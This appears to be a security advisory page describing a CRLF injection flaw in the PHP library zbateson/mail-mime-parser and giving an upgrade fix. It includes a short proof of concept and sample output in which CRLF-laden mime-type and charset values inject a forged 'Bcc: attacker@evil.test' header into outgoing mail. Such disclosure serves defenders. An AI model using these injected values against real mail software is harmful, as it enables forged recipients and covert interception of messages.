CRLF Injection Affecting zbateson/mail-mime-parser package, versions >=3.0.0, <4.0.6


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.33% (26th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about CRLF Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-ZBATESONMAILMIMEPARSER-22220110
  • published5 Nov 2026
  • disclosed4 Nov 2026
  • creditDaniel Coles, Alpet Gexha, Kaya Emre Arikan

Introduced: 4 Nov 2026

NewCVE-2026-121946  (opens in a new tab)
CWE-93  (opens in a new tab)

How to fix?

Upgrade zbateson/mail-mime-parser to version 4.0.6 or higher.

Overview

Affected versions of this package are vulnerable to CRLF Injection via message-building helpers MultipartHelper::createContentPartForMimeType(), MultipartHelper::setContentPartForMimeType(), MultipartHelper::createAndAddPartForAttachment(), and PrivacyHelper::setMessageAsMultipartSigned(), which interpolate caller-supplied strings directly into raw header values without stripping CR or LF characters. An attacker who controls any of the $mimeType, $encoding, $charset, $micalg, or $protocol arguments passed to the corresponding IMessage builder methods can terminate the generated Content-Type or Content-Transfer-Encoding header early and inject arbitrary additional header lines - for example a forged Bcc: - into outgoing messages. Parsing is not affected, as header values read from a parsed message never pass through these builder code paths.

PoC

use ZBateson\MailMimeParser\Message;

$base = "From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n";

$m = Message::from($base, false);
$m->addAttachmentPart('payload', "application/octet-stream\r\nBcc: attacker@evil.test", 'safe.txt');
echo $m;   // attachment part contains a standalone "Bcc: attacker@evil.test" line

$m = Message::from($base, false);
$m->setTextPart('hello', "utf-8\"\r\nBcc: attacker@evil.test");
echo $m;   // same, via the charset parameter

Before the fix the attachment part serializes as:

Content-Transfer-Encoding: base64
Content-Type: application/octet-stream
Bcc: attacker@evil.test;
    name="safe.txt"
Content-Disposition: attachment;
    filename="safe.txt"

CVSS Base Scores

version 4.0
version 3.1